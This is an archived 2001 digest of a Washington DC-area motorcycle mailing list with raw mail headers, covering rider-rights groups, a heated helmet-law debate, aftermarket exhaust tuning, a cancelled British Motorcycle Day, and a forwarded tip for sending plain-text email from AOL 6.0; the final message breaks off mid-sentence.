Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1AFmeP18237 for ; Sat, 10 Feb 2001 10:48:42 -0500 (EST) Received: from 66-44-54-83.s83.tnt1.lnhva.md.dialup.rcn.com ([66.44.54.83] helo=todd) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14RcGJ-0001dY-00 for dc-cycles@XXXXXX; Sat, 10 Feb 2001 10:48:35 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: AMA and MRF Date: Sat, 10 Feb 2001 10:47:59 -0500 Message-ID: <000001c09378$d8d0e020$53362c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal This should give you a pretty good sense about what the MRF is: http://www.mrf.org/history_mrf.php Todd From: "Paul Wilson" To: "dc-cycles list" Cc: "cb-750 list" Subject: AMA and MRF Date: Thu, 8 Feb 2001 19:01:59 -0500 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 OK, this may be an extremely stupid question. Why are there two national motorcycle rights organizations (AMA and Motorcycle Riders Foundation)? By national I'm leaving out ABATE which is a collection of local chapters. Is MRF more of a strictly lobbying organization? It seems the AMA's race sanctioning and the commercial activity surrounding that has landed them in hot water recently with the Edmonson case. I'm interested in supporting motorcyclist's rights but don't feel comfortable with some of the AMA's shenanigans. Sometimes I get the impression that the AMA acts as a water boy for the manufacturers, which also gives me pause. Paul in DC From dc-cycles-request Sat Feb 10 15:28:08 2001 Return-Path: Received: from Mail6.mgfairfax.rr.com ([24.93.67.53]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1AKS7P21884 for ; Sat, 10 Feb 2001 15:28:07 -0500 (EST) Received: from cox.rr.com ([24.163.114.212]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Fri, 9 Feb 2001 22:03:44 -0500 Message-ID: <3A835D52.E99603FD@cox.rr.com> Date: Thu, 08 Feb 2001 22:00:35 -0500 From: +Andrew X-Mailer: Mozilla 4.51 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: DC-Cycles Subject: Helmet Laws Article Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit http://dailynews.yahoo.com/h/nm/20010207/hl/helmets_1.html Thought this was interesting...... I'm sure this will prompt some reaction, but personally, I still can't believe states actually allow people to ride around w/o helmets passing much of their medical coverage to other taxpayers...... +Andrew in Herndon Honda Nighthawk 750 From dc-cycles-request Sat Feb 10 17:01:20 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1AM1IP23207 for ; Sat, 10 Feb 2001 17:01:19 -0500 (EST) Received: from patriot.net (pool180-151.patriot.net [209.249.180.151]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1AM1AH25362; Sat, 10 Feb 2001 17:01:10 -0500 Message-ID: <3A85B8DA.A34962C@patriot.net> Date: Sat, 10 Feb 2001 16:55:38 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: +Andrew CC: DC-Cycles Subject: Re: Helmet Laws Article References: <3A835D52.E99603FD@cox.rr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Very interesting. Even more interesting will be the *spin* ABATE and other no-helmet groups put on those stats to defend their undefensible opinions. Undefensible from a medical/safety viewpoint, that is. Bill +Andrew wrote: > http://dailynews.yahoo.com/h/nm/20010207/hl/helmets_1.html > > Thought this was interesting...... I'm sure this will prompt some > reaction, but personally, I still can't believe states actually allow > people to ride around w/o helmets passing much of their medical coverage > to other taxpayers...... > > +Andrew in Herndon > Honda Nighthawk 750 From dc-cycles-request Sat Feb 10 17:12:31 2001 Return-Path: Received: from lycanthrope.crosslink.net (lycanthrope.crosslink.net [206.246.124.36]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1AMCTP23348 for ; Sat, 10 Feb 2001 17:12:30 -0500 (EST) Received: from norc (dial022.king-george.246.crosslink.net [207.199.164.27]) by lycanthrope.crosslink.net (8.9.3/) with ESMTP id RAA18360 for ; Sat, 10 Feb 2001 17:12:25 -0500 X-Really-To: Message-Id: <4.2.2.20010210165706.00ba9280@biga.pop.crosslink.net> X-Sender: biga@XXXXXX X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 10 Feb 2001 17:12:21 -0500 To: + From: Andrew Culpepper Subject: Re: Helmet Laws Article In-Reply-To: <3A835D52.E99603FD@cox.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed At 10:00 PM 2/8/01 , you wrote: >http://dailynews.yahoo.com/h/nm/20010207/hl/helmets_1.html > >Thought this was interesting...... I'm sure this will prompt some >reaction, but personally, I still can't believe states actually allow >people to ride around w/o helmets passing much of their medical coverage >to other taxpayers...... > > +Andrew in Herndon > Honda Nighthawk 750 What about smoking, heavy drinking, eating lots of ice cream, and having children? Anyway, people should be responsible for their own health care. If they were, they'd make better choices or suffer the consequences. Andrew '90 EX500 From dc-cycles-request Sat Feb 10 18:34:35 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1ANYYP24467 for ; Sat, 10 Feb 2001 18:34:34 -0500 (EST) Received: from patriot.net (pool180-151.patriot.net [209.249.180.151]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1ANY9H01102; Sat, 10 Feb 2001 18:34:09 -0500 Message-ID: <3A85CEA6.9AC78F11@patriot.net> Date: Sat, 10 Feb 2001 18:28:38 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: Andrew Culpepper CC: + Subject: Re: Helmet Laws Article References: <4.2.2.20010210165706.00ba9280@biga.pop.crosslink.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Andrew Culpepper wrote: > At 10:00 PM 2/8/01 , you wrote: > >http://dailynews.yahoo.com/h/nm/20010207/hl/helmets_1.html > > > >Thought this was interesting...... I'm sure this will prompt some > >reaction, but personally, I still can't believe states actually allow > >people to ride around w/o helmets passing much of their medical coverage > >to other taxpayers...... > > > > +Andrew in Herndon > > Honda Nighthawk 750 > > What about smoking, heavy drinking, eating lots of ice cream, and having > children? > > Anyway, people should be responsible for their own health care. If they > were, they'd make better choices or suffer the consequences. > > Andrew > '90 EX500 So I reckon you'e opted out of your health care program and started a medical savings plan? And did you *choose* perfect parents who didn't pass you any genetic ills or predisposition to a variety of ills? Bill From dc-cycles-request Sat Feb 10 19:12:04 2001 Return-Path: Received: from imo-d02.mx.aol.com (imo-d02.mx.aol.com [205.188.157.34]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1B0C2P25022 for ; Sat, 10 Feb 2001 19:12:03 -0500 (EST) Received: from RacerGirl435@XXXXXX by imo-d02.mx.aol.com (mail_out_v29.5.) id 2.74.7ad2332 (16489) for ; Sat, 10 Feb 2001 19:11:47 -0500 (EST) From: RacerGirl435@XXXXXX Message-ID: <74.7ad2332.27b732c2@aol.com> Date: Sat, 10 Feb 2001 19:11:46 EST Subject: Re: Helmet Laws Article To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 127 In Texas there is a no-helmet law. In order to have the "right" to ride your motorcycle without one, you're SUPPOSED to have supplemental health insurance that would pay for your health-care should you become a vegetable as a direct result of a motorcycle accident. I can tell you from personal experience that I rode around without a helmet on many occasions without this supposed supplemental insurance. People are gonna break the law, no matter what it is. Whether it's drugs, helmets, cigarettes, child-abuse.....you name it. Myself included. I rode without a helmet in different situations also. On the freeway, in the city during rush-hour traffic, at night, you name it. I wouldn't DREAM of doing that now.....I have somewhat come to my senses since then. I'd much rather sweat my head off sitting in rush-hour traffic. But I will admit it was nice, at times, to ride without one. I think it's just a case of "to each their own". If ya wanna risk losing your skull by riding without the proper gear, then you deserve what ya get. If you're on this list and you do it now.....we don't wanna hear your crying. We all make our OWN choices. This is AMERICA, after all. My 1/2 a cent. Jess who no longer even OWNS a bike (who wants to give me a ride on theirs?) From dc-cycles-request Sun Feb 11 03:41:25 2001 Return-Path: Received: from lycanthrope.crosslink.net (lycanthrope.crosslink.net [206.246.124.36]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1B8Y2P02211 for ; Sun, 11 Feb 2001 03:38:34 -0500 (EST) Received: from norc (dial049.king-george.246.crosslink.net [207.199.164.54]) by lycanthrope.crosslink.net (8.9.3/) with ESMTP id XAA01003 for ; Sat, 10 Feb 2001 23:42:57 -0500 X-Really-To: Message-Id: <4.2.2.20010210223615.00ba1870@biga.pop.crosslink.net> X-Sender: biga@XXXXXX X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 10 Feb 2001 23:42:46 -0500 To: From: Andrew Culpepper Subject: Re: Helmet Laws Article In-Reply-To: <3A85CEA6.9AC78F11@patriot.net> References: <4.2.2.20010210165706.00ba9280@biga.pop.crosslink.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Hi Bill. Andrew+ started off implicitly agreeing with an idea that I happen to disagree with, i.e., that the state should pick up the tab for the costs of someone's behavior. And, since the state must assume these costs, we should outlaw certain behavior. I listed some relatively inoffensive lifestyle choices that have costs. There are a lot of others that practically tempt fate. Why not ban those too? If we insist on having socialized medicine, at least we could say "if you want to be really stupid, you're going to have to pay for it." >So I reckon you'e opted out of your health care program and started a >medical savings plan? Being responsible does not equate to opting out of insurance. Are you responsible for your house? Do you insure it? Should I be held responsible if you decide not to be? > And did you *choose* perfect parents who didn't pass >you any genetic ills or predisposition to a variety of ills? > >Bill That's the point. I didn't choose my parents. But if I had chosen to be born of parents with genetic ills, predispositions to ills, etc., then I should be responsible for the consequences. Andrew '90 EX500 From dc-cycles-request Sun Feb 11 06:05:25 2001 Return-Path: Received: from mail.rdc1.md.home.com (ha1.rdc1.md.home.com [24.2.2.66]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1BB0oP04253 for ; Sun, 11 Feb 2001 06:05:10 -0500 (EST) Received: from cj117103a ([24.6.106.133]) by mail.rdc1.md.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010211013620.UENM26737.mail.rdc1.md.home.com@cj117103a> for ; Sat, 10 Feb 2001 17:36:20 -0800 Message-ID: <007901c093c7$38e9df40$856a0618@alex1.va.home.com> Reply-To: "James Reazor" From: "James Reazor" To: "+" References: <4.2.2.20010210165706.00ba9280@biga.pop.crosslink.net> Subject: Re: Helmet Laws Article Date: Sat, 10 Feb 2001 20:09:02 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Actually, health care is one of the few things I think the government should provide for us. Some socialist ideas really aren't that bad. -James > Anyway, people should be responsible for their own health care. If they > were, they'd make better choices or suffer the consequences. > > Andrew > '90 EX500 > From dc-cycles-request Sun Feb 11 09:59:59 2001 Return-Path: Received: from web510.mail.yahoo.com (web510.mail.yahoo.com [216.115.104.225]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1BEtwP07270 for ; Sun, 11 Feb 2001 09:56:58 -0500 (EST) Message-ID: <20010211144719.7246.qmail@web510.mail.yahoo.com> Received: from [138.88.41.96] by web510.mail.yahoo.com; Sun, 11 Feb 2001 06:47:19 PST Date: Sun, 11 Feb 2001 06:47:19 -0800 (PST) From: Tom Gimer Subject: Re: Y2k GSXR-750 pipes To: roach@XXXXXX, George Cole , dc-cycles@XXXXXX In-Reply-To: <01020917375413.08143@www.mostlyharmless.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Brian Roach wrote: > On Fri, 09 Feb 2001, George Cole wrote: > > You guys should hear the M4 system on my R6....way to > loud even for a old > > squid like myself. It makes great power and the quality > is good, but the > > volume is a little much. > > Oh Yeah?? Wait till you hear the new Forza pipes that > just went on the Ducati > ::grin:: > > 10% gain in torque, ~5% gain in HP. Woo hoo! > (I love having cheap/free access to a dyno...) i just put some forza pipes on my duc as well....excellent sound plus weight loss. i wouldn't say that the volume is too much, however. it's easier to get away with aftermarket pipes on a twin than a four (a deeper growl is far less offensive than a high pitched whine). the f.i.m. ulti-map chip i installed, which was supposedly tested for my setup, is WAY off. far too rich throughout the rev range....so much so that i've gone back to the stock eprom. :( i'll have to get it on a dyno ... how/where is your cheap/free access? -- tg __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Sun Feb 11 12:25:06 2001 Return-Path: Received: from web10514.mail.yahoo.com (web10514.mail.yahoo.com [216.136.172.146]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1BHLDn00925 for ; Sun, 11 Feb 2001 12:21:37 -0500 (EST) Message-ID: <20010211170931.84217.qmail@web10514.mail.yahoo.com> Received: from [165.247.83.146] by web10514.mail.yahoo.com; Sun, 11 Feb 2001 09:09:31 PST Date: Sun, 11 Feb 2001 09:09:31 -0800 (PST) From: Todd Withrow Subject: Re: Helmet Laws Article To: RacerGirl435@XXXXXX, dc-cycles@XXXXXX In-Reply-To: <74.7ad2332.27b732c2@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- RacerGirl435@XXXXXX wrote: > I think it's just a > case of "to each their own". If ya wanna risk > losing your skull by riding > without the proper gear, then you deserve what ya > get. If you're on this > list and you do it now.....we don't wanna hear your > crying. We all make our > OWN choices. This is AMERICA, after all. > > My 1/2 a cent. > I agree. When I lived in Hawaii I sometimes rode without a lid. It was enjoyable going down a coastal road, taking in the vistas unimpaired. It was always slow speed stuff, I know your melon can crack easily at 35mph, but that was how I justified it. Had I busted my head, I certainly would not have blamed anyone but myself. When I go rock climbing, I don't use a helmet. Some climbers do. Some climbers don't use a rope, I do. To each his own. > Jess > who no longer even OWNS a bike > (who wants to give me a ride on theirs?) I have an unoccupied passenger seat. My wife refuses to ride with me. She says it is uncomfortable, I think she is just a control freak and she can't steer from the rear. Todd ===== AIM: Inf DS http://www.geocities.com/mtwithrow ----------------------------------------------------------- Used to be that we "worldproofed" our children. Now society wants to childproof the world. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Sun Feb 11 15:00:34 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1BJkFn03052 for ; Sun, 11 Feb 2001 14:46:26 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f1BHP8006589; Sun, 11 Feb 2001 12:25:09 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: Tom Gimer , dc-cycles@XXXXXX Subject: Re: Y2k GSXR-750 pipes Date: Sun, 11 Feb 2001 12:25:08 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: <20010211144719.7246.qmail@web510.mail.yahoo.com> In-Reply-To: <20010211144719.7246.qmail@web510.mail.yahoo.com> MIME-Version: 1.0 Message-Id: <01021112250800.00979@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Sun, 11 Feb 2001, you wrote: > the f.i.m. ulti-map chip i installed, which was supposedly > tested for my setup, is WAY off. far too rich throughout > the rev range....so much so that i've gone back to the > stock eprom. :( i'll have to get it on a dyno ... > how/where is your cheap/free access? I got the power commander, and the mapping they include doesn't make a damn bit of difference (and supposedly it's for the 900ss with the forza pipes). However, they include the software and cable you need to do the remapping yourself, and you can download maps from them and play with it. The Dyno is at SpeedWerks, in Dover DE. They're my racing sponsor, so stuff like running my street bike on the dyno comes cheap or free. Of course... the money I spend having Jon build race motors prob offsets that quite a bit :) - Roach From dc-cycles-request Sun Feb 11 15:02:40 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1BK2bn03362 for ; Sun, 11 Feb 2001 15:02:39 -0500 (EST) Received: from 66-44-69-217.s471.tnt8.lnhva.md.dialup.rcn.com ([66.44.69.217] helo=todd) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14S28D-0001X7-00 for dc-cycles@XXXXXX; Sun, 11 Feb 2001 14:25:58 -0500 From: "Todd Peer" To: Subject: RE: Helmet Laws Article Date: Sun, 11 Feb 2001 14:25:18 -0500 Message-ID: <000101c09460$5e261820$d9452c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <200102110002.f1B02fI24809@dirty.meretrix.com> > Date: Sat, 10 Feb 2001 18:28:38 -0500 > From: "William J. Huson" > Andrew Culpepper wrote: > > > At 10:00 PM 2/8/01 , you wrote: > > >http://dailynews.yahoo.com/h/nm/20010207/hl/helmets_1.html > > > > > >Thought this was interesting...... I'm sure this will prompt some > > >reaction, but personally, I still can't believe states actually allow > > >people to ride around w/o helmets passing much of their > medical coverage > > >to other taxpayers...... > > > > > > +Andrew in Herndon > > > Honda Nighthawk 750 > > > > What about smoking, heavy drinking, eating lots of ice cream, and having > > children? > > > > Anyway, people should be responsible for their own health care. If they > > were, they'd make better choices or suffer the consequences. > > > > Andrew > > '90 EX500 > > So I reckon you'e opted out of your health care program and started a > medical savings plan? And did you *choose* perfect parents who > didn't pass > you any genetic ills or predisposition to a variety of ills? > > Bill > > Oh BooHooHoo! Get a real argument for helmet laws for crissake! Anyone who believes that a miniature representation of the entire driving public is a direct cause of their health insurance rates going up should really step back and look again. Aaaack! You completely ignored Andrews point. I don't have any statistics, but I feel safe to say that more death and disablement is caused by poor health as a direct cause of poor lifestyle choices than by not wearing a helmet. There are a number of sports and recreational activities that can be classed the same way. All you safety-crats surely salivate at the thought of 'protecting' all those risk takers too. Give me a friggin break already. I really don't get the pro-helmet law mindset among motorcyclists. One minute you're pissing and moaning about how Cryor and others like her are legislating common sense, and the next minute you're right in there agreeing (helmet laws). I just don't get the hypocrisy. Todd Peer (Springfield, VA) From dc-cycles-request Sun Feb 11 15:02:45 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1BK2fn03364 for ; Sun, 11 Feb 2001 15:02:43 -0500 (EST) Received: from 66-44-69-217.s471.tnt8.lnhva.md.dialup.rcn.com ([66.44.69.217] helo=todd) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14S1f5-0005MG-00 for dc-cycles@XXXXXX; Sun, 11 Feb 2001 13:55:52 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: Wanna REALLY Learn About Local Gov't? Date: Sun, 11 Feb 2001 13:55:13 -0500 Message-ID: <000001c0945c$2a709fe0$d9452c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 To: dc-cycles@XXXXXX Date: Fri, 9 Feb 2001 20:14:57 -0500 Subject: Wanna REALLY Learn About Local Gov't? X-Juno-Line-Breaks: 1-2,6-7,18-19,23-24,29-30,37-39,41,43,45 From: Tom Fitzpatrick Prince William County is now taking applications for its Community Leadership Institute *for Prince William County residents*. As I mentioned before, I was a graduate of the inaugural class. I learned a whole lot, even though I had already been very active in my community, homeowner's association, and politics. Assuming it has maintained the same high standards, I recommend it strongly. ================================================ Does anyone know if Fairfax County has a similar program available? Todd Peer (Springfield, VA) From dc-cycles-request Sun Feb 11 15:41:11 2001 Return-Path: Received: from web9702.mail.yahoo.com (web9702.mail.yahoo.com [216.136.129.138]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1BKf9n04275 for ; Sun, 11 Feb 2001 15:41:10 -0500 (EST) Message-ID: <20010211204107.6269.qmail@web9702.mail.yahoo.com> Received: from [66.44.65.100] by web9702.mail.yahoo.com; Sun, 11 Feb 2001 12:41:07 PST Date: Sun, 11 Feb 2001 12:41:07 -0800 (PST) From: Scratch Subject: Fwd: Re: No BMD?! To: DCC MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I wrote: > > > Is it true? There will be no British Motorcycle Day at Butler's Orchard > > this year? > > > My friend Mike wrote... > >No BMD, Summit point Vintage Weekend instead. > Kinda sad, I think. Summit Point is cool and all, but British Motorcycle Day was a tradition. Rich __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Sun Feb 11 23:25:11 2001 Return-Path: Received: from hotmail.com (f23.law6.hotmail.com [216.32.241.23]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1C4P9n12199 for ; Sun, 11 Feb 2001 23:25:10 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 11 Feb 2001 20:25:01 -0800 Received: from 63.49.138.200 by lw6fd.law6.hotmail.msn.com with HTTP; Mon, 12 Feb 2001 04:25:01 GMT X-Originating-IP: [63.49.138.200] From: "John Kozyn" To: dc-cycles@XXXXXX Subject: Re: dc-cycles digest for 02/11/01 Date: Sun, 11 Feb 2001 23:25:01 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Feb 2001 04:25:01.0515 (UTC) FILETIME=[C401E1B0:01C094AB] From: Tom Gimer i just put some forza pipes on my duc as well....excellent sound plus weight loss. i wouldn't say that the volume is too much, however. it's easier to get away with aftermarket pipes on a twin than a four (a deeper growl is far less offensive than a high pitched whine). Ahem, Mr Gimer... High pitched whine? Excuse me for whining (lol ;) but my "four" (V4) does not whine. I know whereof you speak however, just don't confuse cam-driven gears with a whiny engine ;) Anyone wanna hear my V4? Click here: http://myweb.monumental.com/jckozyn/95VFR/VFR+D&D.wav (OK, I'll admit it, it does not sound as sweet to the ear as a litre twin, but it does sound pretty good... :) JK 95 VFR D-mode _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Mon Feb 12 09:58:07 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CEw5n22820 for ; Mon, 12 Feb 2001 09:58:05 -0500 (EST) Received: (qmail 19470 invoked by uid 1001); 12 Feb 2001 14:58:02 -0000 Message-ID: <20010212145802.19469.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: bhuson@XXXXXX, +Andrew Cc: DC-Cycles Date: Mon, 12 Feb 2001 09:57:59 -0500 Subject: Re: Helmet Laws Article - stats can be twisted What's notably absent from the yahoo distillation of the NHTSA article is NO mention of riding/milage trends. Since '97 I would say that MC's have increased in popularitiy (and thus miles ridden) at a hefty clip. You must control for other influencing factors if you want to determine correlation/causation. But as any stats person can tell you, these two things are not the same. Just because you have correlation doesn't mean you have causation. I'd have to look at the NHTSA's report itself before any kind of conclusions can be drawn. As to AMA/Abate's reaction they will no doubt pick the stats, their collection, and other factors apart. It's appalling just how lousy some 'research' is. It would also be interesting to look at the other states that have repealed their laws, or haven't had laws for a while and consider the accident rates and compare across states. You might find that AK/TX are outliers, or perfectly within norms... -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 12 10:19:32 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CFJUn23168 for ; Mon, 12 Feb 2001 10:19:31 -0500 (EST) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G8N008G0H1K0Z@XXXXXX> for dc-cycles@XXXXXX; Mon, 12 Feb 2001 15:15:21 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G8N00L01H1HSB@XXXXXX>; Mon, 12 Feb 2001 15:15:20 +0000 (GMT) Received: from home.com ([166.36.152.226]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with ESMTP id <0G8N00HPKH1667@XXXXXX>; Mon, 12 Feb 2001 15:15:07 +0000 (GMT) Date: Mon, 12 Feb 2001 10:15:05 -0500 From: Dale Horstman Subject: Re: Helmet Laws Article To: +Andrew Cc: DC-Cycles Message-id: <3A87FDF9.2BF8C8EA@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <3A835D52.E99603FD@cox.rr.com> +Andrew wrote: > > http://dailynews.yahoo.com/h/nm/20010207/hl/helmets_1.html Does this REALLY come as a surprise to anyone? Horkster "If you don't think you need a helmet, you are probably right..." - unknown -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Mon Feb 12 10:24:29 2001 Return-Path: Received: from bpexchange.dcscorp.com (bpexchange.dcscorp.com [204.7.239.11]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CFORn23246 for ; Mon, 12 Feb 2001 10:24:28 -0500 (EST) Received: by bpexchange.dcscorp.com with Internet Mail Service (5.5.2650.21) id ; Mon, 12 Feb 2001 10:24:38 -0500 Message-ID: From: "Smith, Steven" To: "'dc-cycles@XXXXXX'" Subject: FW: AOL 6.0 HTML - How to Fix Date: Mon, 12 Feb 2001 10:24:34 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain The following is from the Triumph (magpie) list administrator. I hope it will be of service to our AOL brothers and sisters bombing the digest with MIME. MC Happy Peoples Republic of Alexandria MRF 1012503, AMA 572649, MARRC 2567, RAT 79802 1998 T595 Daytona, call her "Boudicca" -----Original Message----- Date: Fri, 09 Feb 2001 09:31:47 -0500 From: Steve Manes Subject: AOL 6.0 HTML - Howto Fix This fix should allow AOL 6.0 users to post to the MAGPIE lists. Thanks to Patti Gill on the Triumph motorcycle list for this info: When communicating with Internet recipients who are not using an email program capable of selecting which MIME section to view, an AOL 6.0 user can turn off the HTML using the following steps: Change your global email preferences (only needs to be done once): Go to Keyword: Preferences (or choose Preferences from the Settings menu on the AOL 6.0 toolbar). Click on Font, Text, & Graphics Preferences. Click on the Reset button at the bottom of the resulting window. Do not make any changes in the Font Preferences area of the window. Click on the Save button. Change a specific email to plain text (must be done for every email): Compose and address the email as desired. Choose Select All from the Edit menu to highlight the entire message. With the mouse arrow somewhere over the highlighted text, click the Right mouse button, revealing a contextual menu (AKA Right-Click). Choose Normal from the Text menu. Taking care not to make any further changes to the message, send it. Note that changing the text to normal will eliminate the "blue bar" quoted text indicator, but will not remove some HTML elements of the quoted text. The entire quoted section must be deleted (or simply not quoted in the first place), followed by the re-entry of the text quoted manually, prior to changing the text to normal. Changing the text to normal will also eliminate any styled text that would have been seen by AOL recipients of the message, which cannot be re-added. Testing also suggests that messages with hyperlinks cannot be converted to normal text, requiring the prior removal of the link. - -----------------------[ http://www.magpie.com ]-------=o&>o------- Steve Manes Brooklyn, N'Yawk From dc-cycles-request Mon Feb 12 10:24:55 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CFOrn23256 for ; Mon, 12 Feb 2001 10:24:53 -0500 (EST) Received: (qmail 29722 invoked by uid 1001); 12 Feb 2001 15:24:51 -0000 Message-ID: <20010212152451.29721.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Mon, 12 Feb 2001 10:24:46 -0500 Subject: Re: Don't just sit there, PLEASE!!! > Yes. This man was breaking the current laws. And more than likely more laws will not affect him either because he will summarily break those too. > But I am not him. I am me. And I *DO* obey laws. So the more and more laws passed regarding my lifestyle create more and more ways I have to alter my lifestyle. Gov't isn't done till it's made criminals of everyone and every thing or imposed regulation on anything and everything. That seems to be the direction we're headed. Soon we'll have mandatory flossing, and dietary intake, fat consumption, where and when you can drive your 